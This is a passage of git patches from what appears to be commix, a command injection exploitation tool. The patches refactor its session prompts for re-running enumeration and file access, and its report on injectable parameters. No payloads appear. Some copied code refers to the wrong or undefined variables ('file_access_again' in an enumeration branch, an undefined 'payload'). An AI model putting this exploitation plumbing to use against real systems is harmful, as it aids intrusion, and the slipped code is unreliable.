import sys from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -300,4 +301,31 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True +""" +Check stored session +""" +def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + # Check for any enumeration options. + new_line = True + if settings.ENUMERATION_DONE == True : + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + break + elif enumerate_again in settings.CHOICE_NO: + new_line = False + break + elif enumerate_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 826c74c86b..0a60b909fe 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -16,6 +16,7 @@ import os import sys from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -105,4 +106,28 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.FILE_ACCESS_DONE = True +""" +Check stored session +""" +def stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + if settings.FILE_ACCESS_DONE == True : + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + if menu.file_access_options(): + do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index d26d5231ad..38acffae1f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -293,27 +293,10 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.enumeration_options(): eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Check for any enumeration options. + eb_enumeration.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True: - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - + eb_file_access.stored_session(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Check if defined single cmd. if menu.options.os_cmd: eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 2a1b5745a8..a6feb38f4e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -17,10 +17,12 @@ import sys from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.injections.semiblind.techniques.file_based import fb_handler from src.core.injections.semiblind.techniques.file_based import fb_injector """ @@ -265,4 +267,32 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True -# eof +""" +Check stored session +""" +def stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + new_line = True + if settings.ENUMERATION_DONE == True : + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + break + elif enumerate_again in settings.CHOICE_NO: + new_line = False + break + elif file_access_again in settings.CHOICE_QUIT: + # Delete previous shell (text) files (output) + fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + +# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 9c0e1c4d1f..a95ed0c07f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -17,12 +17,13 @@ import os import sys from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector +from src.core.injections.semiblind.techniques.file_based import fb_handler """ The "file-based" technique on semiblind OS command injection. @@ -102,4 +103,30 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.FILE_ACCESS_DONE = True +""" +Check stored session +""" +def stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): + if settings.FILE_ACCESS_DONE == True : + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + # Delete previous shell (text) files (output) + fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.file_access_options(): + do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 3a933e756a..12f73ca39d 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -468,56 +468,11 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: whitespace = settings.WHITESPACES[0] settings.LOAD_SESSION = False - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + fb_enumeration.stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.file_access_options(): - fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - - # Check if defined single cmd. + fb_file_access.stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Check if defined single cmd. if menu.options.os_cmd: fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index bd9130c6e4..344359b65c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -17,6 +17,7 @@ import sys from src.utils import logs from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -269,4 +270,30 @@ def reset(): system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + if settings.ENUMERATION_DONE == True : + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + break + elif enumerate_again in settings.CHOICE_NO: + break + elif enumerate_again in settings.CHOICE_QUIT: + # Delete previous shell (text) files (output) from temp. + tfb_injector.delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + if menu.enumeration_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + # eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 7db7aaf6ec..b932d43193 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -17,6 +17,7 @@ import os import sys from src.utils import menu +from src.utils import common from src.utils import settings from src.utils import session_handler from src.core.injections.controller import checks @@ -117,4 +118,29 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True +""" +Check stored session +""" +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + if settings.FILE_ACCESS_DONE == True : + while True: + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + if not menu.options.ignore_session: + menu.options.ignore_session = True + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + # Delete previous shell (text) files (output) from temp. + tfb_injector.delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + if menu.file_access_options(): + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 2692553432..7048f5a25c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -423,51 +423,9 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, time.sleep(1) # Check for any enumeration options. - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - break - elif enumerate_again in settings.CHOICE_NO: - break - elif enumerate_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - + tfb_enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - + tfb_file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd diff --git a/src/utils/settings.py b/src/utils/settings.py index 5f8101d1ce..fbc471581b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "57" +REVISION = "58" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3d700ca9fc6f754fba5f7716d6c3fce7762ea479 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 31 May 2024 08:19:51 +0300 Subject: [PATCH 0455/1023] Additional code refactoring (commit: https://github.com/commixproject/commix/commit/d6656b0a6f30b6c07823dfb32997d95eda73806b) --- .../blind/techniques/time_based/tb_handler.py | 59 +---------------- src/core/injections/controller/checks.py | 66 +++++++++++++++++++ .../techniques/classic/cb_handler.py | 61 +---------------- .../techniques/eval_based/eb_handler.py | 60 +---------------- .../techniques/file_based/fb_handler.py | 66 +------------------ .../techniques/tempfile_based/tfb_handler.py | 66 +------------------ src/utils/settings.py | 2 +- 7 files changed, 72 insertions(+), 308 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index dbf0a84573..c677a9cfa8 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -317,64 +317,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r found = True no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.LOAD_SESSION: - possibly_vulnerable = False - - if settings.COOKIE_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.REFERER - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: shell = "" diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0432ba3281..16a5541470 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2653,4 +2653,70 @@ def define_py_working_dir(): pass settings.USER_DEFINED_PYTHON_DIR = True +""" +Checks for identified vulnerable parameter +""" +def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter): + # Check injection state + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + if settings.COOKIE_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE + found_vuln_parameter = vuln_parameter + the_type = " parameter" + + elif settings.USER_AGENT_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.REFERER_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.REFERER + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.HOST_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.HOST + found_vuln_parameter = "" + the_type = " HTTP header" + + elif settings.CUSTOM_HEADER_INJECTION == True: + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME + found_vuln_parameter = "" + the_type = " HTTP header" + + else: + header_name = "" + the_type = " parameter" + # Check if defined POST data + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: + found_vuln_parameter = parameters.vuln_GET_param(url) + else : + found_vuln_parameter = vuln_parameter + + if len(found_vuln_parameter) != 0 : + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + + # Print the findings to log file. + if export_injection_info == False: + export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) + if vp_flag == True: + vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) + logs.update_payload(filename, counter, payload) + counter = counter + 1 + + if not settings.LOAD_SESSION: + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + else: + total_of_requests() + + # Print the findings to terminal. + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + print(settings.print_bold_info_msg(info_msg)) + sub_content = str(url_decode(payload)) + print(settings.print_sub_content(sub_content)) + + # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 905eef491c..ecf0069e3d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -191,66 +191,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if shell: found = True no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.REFERER - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.HOST - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 38acffae1f..ad8b466772 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -204,65 +204,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if shell: found = True no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.REFERER - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.HOST - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 